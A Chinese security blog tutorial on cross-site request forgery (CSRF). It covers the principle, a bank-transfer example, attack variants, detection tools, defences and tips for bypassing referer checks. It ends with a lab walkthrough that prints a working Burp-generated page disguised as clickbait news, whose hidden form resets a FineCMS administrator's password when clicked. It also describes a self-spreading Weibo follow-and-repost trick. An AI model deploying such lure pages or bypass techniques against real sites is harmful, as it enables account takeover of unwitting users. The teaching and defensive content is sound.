vlambda博客
学习文章列表

CSRF漏洞之原理详解及实战案例演示



0 1
CSRF漏洞介绍



跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是对用户网页浏览器的信任。

CSRF漏洞原理:

     CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。

    我们知道,绝大多数网站是通过cookie等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过XSS或链接欺骗等途径,让用户在本机(即拥有身份cookie的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。

 

 

  需要对页面参数做修改时,可以使用burpsuite生成的csrf poc,从而进行poc测试,测试完成之后一定要验证,浏览器执行了我们生成的poc测试,令数据产生变化。

  csrf可以和XSS联系在一起,XSS获取cookie,CSRF伪造跨站请求完成指令。

 

漏洞利用重点:

  1、CSRF的攻击建立在浏览器与web服务器的会话中

  2、欺骗用户访问URL

 

CSRF攻击实例

受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使Bob把1000000 的存款转到bob2的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该session 的用户Bob已经成功登陆。

黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。

这时,Mallory 想到使用CSRF的攻击方式,他先自己做一个网站,在网站中放入如下代码:src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从Bob的浏览器发向银行,而这个请求会附带Bob浏览器中的cookie一起发向银行服务器。大多数情况下,该请求会失败,因为他要求Bob的认证信息。但是,如果Bob当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的session尚未过期,浏览器的cookie之中含有Bob的认证信息。这时,悲剧发生了,这个url请求就会得到响应,钱将从Bob的账号转移到Mallory的账号,而Bob当时毫不知情。等以后Bob发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而Mallory则可以拿到钱后逍遥法外。


攻击场景

CSRF攻击(GET):

  这种类型的CSRF一般由于程序员的安全意识不强造成的。GET类型的CSRF利用非常简单,只需要一个HTTP请求,所以,一般会这样利用:<img src=http://test.com/csrf?xx=11 />

  在访问含有这个img的页面后,成功向http://test.com/csrf?xx=11 发出了一次HTTP请求。

  假如微博存在CSRF漏洞,有一个GET请求让别人点击后关注我,这时可以做一些诱惑性的博客。

  假如想让每个用户都帮助自己转发微博,制造一次蠕虫攻击,找到转播文章的页面与关注我的页面,写一个POC,用<iframe>标签来加载URL,加载两条URL,这时当用户点击会关注并且自动转发。

 CSRF攻击(POST):构造form表单,利用javascript提交。

 

读取型CSRF:

什么是读取型CSRF,如下的漏洞可以归纳进读取型CSRF,因为这些漏洞的利用手法都跟CSRF是一样的:

  • JSONP劫持

  • Flash跨域劫持

  • CORS跨域资源读取

...等等,还有一些Sliverlight跨域这些。

 

浏览器Cookie机制:

cookie的两种表现形式:一种是本地Cookie,又称持久性Cookie;

             一种是临时Cookie,又称Session Cookie;

 

检测CSRF漏洞:

  1、手工检测如:http://www.test.com/test?id=1 通过此id可以删除指定的用户。可以编写一个POC get方式。

  2、半自动检测:工具CSRFTester,另外burpsuite scanner模块也支持检测CSRF漏洞。

  3、全自动检测:主要是插件。

 

预防跨站请求伪造:

  其实现在有关CSRF漏洞防护已经是比较成熟了,其主要防护的思路就是需要在进行后台数据修改操作的过程中,添加对当前用户身份的有效验证措施,而不能仅限于cookie的识别。

  (1)来源校验

  使用http请求头中的referer来源,对客户端源身份校验,此方法早期使用较多,但是仍然容易被绕过,所以这里并不建议使用。

  (2)用户token校验

  添加基于当前用户身份的有效tokens随机验证机制,即在向后端提交数据操作请求时,添加基于当前用户的随机token校验值,此种校验方法当前使用比较多;(xss和csrf漏洞同时存在时token校验生效)

  (3)当前用户密码验证

  在修改关键信息时,要当前用户输入其自身的密码,以验证当前用户身份的真伪,防止未授权的恶意操作;

  (4)添加验证机制

  在请求数据提交前,需填写验证码信息提交,以增加对用户来源的有效验证,防止恶意未授权的操作产生。


CSRF挖掘技巧

漏洞条件

1.被害用户已经完成身份认证

2.新请求的提交不需要重新身份认证或确认机制

3.攻击者必须了解Web APP请求的参数构造

4.引诱用户触发攻击的指令(社工)

各种功能点

密码修改处

点赞

转账

注销

删除


绕过防御的经验:

  相信大家在很多时候抓包一看有token或者删除referer重新发包报错了就会觉得这里不会有csrf漏洞了,可实际情况可不一定。还有一种常见情况就是使用验证码,目前识别验证码的方法都无法直接利用到绕过CSRF防御上来,所以不考虑用户体验的话,验证码是防御CSRF攻击最有效的方法。

情况A:

  无token无referer验证这种情况现在比较少了,一般出现在一些新上线的业务。一般测试时都是用firefox的live Http Headers插件先抓取一个正常请求的数据包,如果没token的话,先去掉referer字段再重新提交看返回值。如果没报错的话,那就可以直接写一个表单(POST型)或者构造个链接(GET型)重新测试了,一般都会成功;但有些通过ajax提交的是行不通的,因为ajax无法跨域。

情况B:

  无token有referer验证这种情况比较常见,也许我们抓包发现无token正庆幸时,删除referer重新提交一看发现报错了,难道就这样放弃了吗?

  (1)可以试试空的referer:即删除header中的referer的值,如果服务器只是验证了是否存在referer没验证referer值的话,重新提交会发现一个CSRF漏洞又被发现了,因为所有跨域协议传递的请求都不会送referer的


CSRF复现案例

靶场

步骤

代码审计加抓包发现构造点
CSRF漏洞之原理详解及实战案例演示

CSRF漏洞之原理详解及实战案例演示
CSRF漏洞之原理详解及实战案例演示

利用burp自带功能,生成csrf的payload
CSRF漏洞之原理详解及实战案例演示
本地保存下来并访问

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<title>震惊!!!某网吧机子竟集体瘫痪</title>
<link rel="icon" href="https://www.bilibili.com/favicon.ico">
<body>
<style type="text/css">

#sub{
font-size: 20px;
display: block;
height: 58px;
width: 150px;
margin: 30px auto 0;
line-height: 38px;
vertical-align: middle;
text-align: center;
font-size: 16px;
background: #00a1d6;
color: #fff;
border-radius: 10px;
transition: 0.2s;
}
.title {
text-align: center;
}
p{
font-size: 50px;
}
span{
font-size: 18px;
}


</style>
<script>history.pushState('', '', '/')</script>
<div class="title">
<h1>震惊</h1>
<h1>男子购买网络攻击工具当黑客 致40多家网吧瘫痪!</h1>
<h2>原因让网友无语......</h2>
</div>

<div>
<p><img align=left border=0>
<img align="right" border=0 width="344" height="529">
<div><span>网络并非法外之地,如果因为个人在网络上的行为,致使他人遭受权益损害或者损失的话,同样会遭受到法律的惩罚。<br>
据媒体报道,近日,山东济南的一位年轻小伙王某某,因为在网络上发动网络攻击,致使40多家网吧网络瘫痪、频繁掉线。
随后,这位男子在当地被公安机关逮捕。只是这个男子的动机,着实让一众网友无语,其自称到,这样做纯粹是因为好玩,看到别人断网就兴奋。</span></div></p>
<form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
<input type="hidden" name="page" value="0" />
<input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
<input type="hidden" name="member&#91;name&#93;" value="1212" />
<input type="hidden" name="member&#91;phone&#93;" value="12" />
<input type="hidden" name="member&#91;password&#93;" value="123456" />
<input type="submit" value="点击查看全文" id="sub"/>
<img align="center" height="330" width="800">
</div>
<script type="text/javascript">

//document.hack.submit()
</script>
</form>
</body>
</html>

当管理员点击查看全文时,将会自动提交表单来修改密码

<form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
<input type="hidden" name="page" value="0" />
<input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
<input type="hidden" name="member&#91;name&#93;" value="1212" />
<input type="hidden" name="member&#91;phone&#93;" value="12" />
<input type="hidden" name="member&#91;password&#93;" value="123456" />
<input type="submit" value="点击查看全文" id="sub"/><form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
<input type="hidden" name="page" value="0" />
<input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
<input type="hidden" name="member&#91;name&#93;" value="1212" />
<input type="hidden" name="member&#91;phone&#93;" value="12" />
<input type="hidden" name="member&#91;password&#93;" value="123456" />
<input type="submit" value="点击查看全文" id="sub"/>

CSRF漏洞之原理详解及实战案例演示
此时我们已经成功修改了管理员的密码,并可以登录了

CSRF漏洞之原理详解及实战案例演示

教程

教程

教程

XXE


欢 迎 私 下 骚 扰



CSRF漏洞之原理详解及实战案例演示


欢迎关注呀~~




攻防红线
欢迎各位师傅关注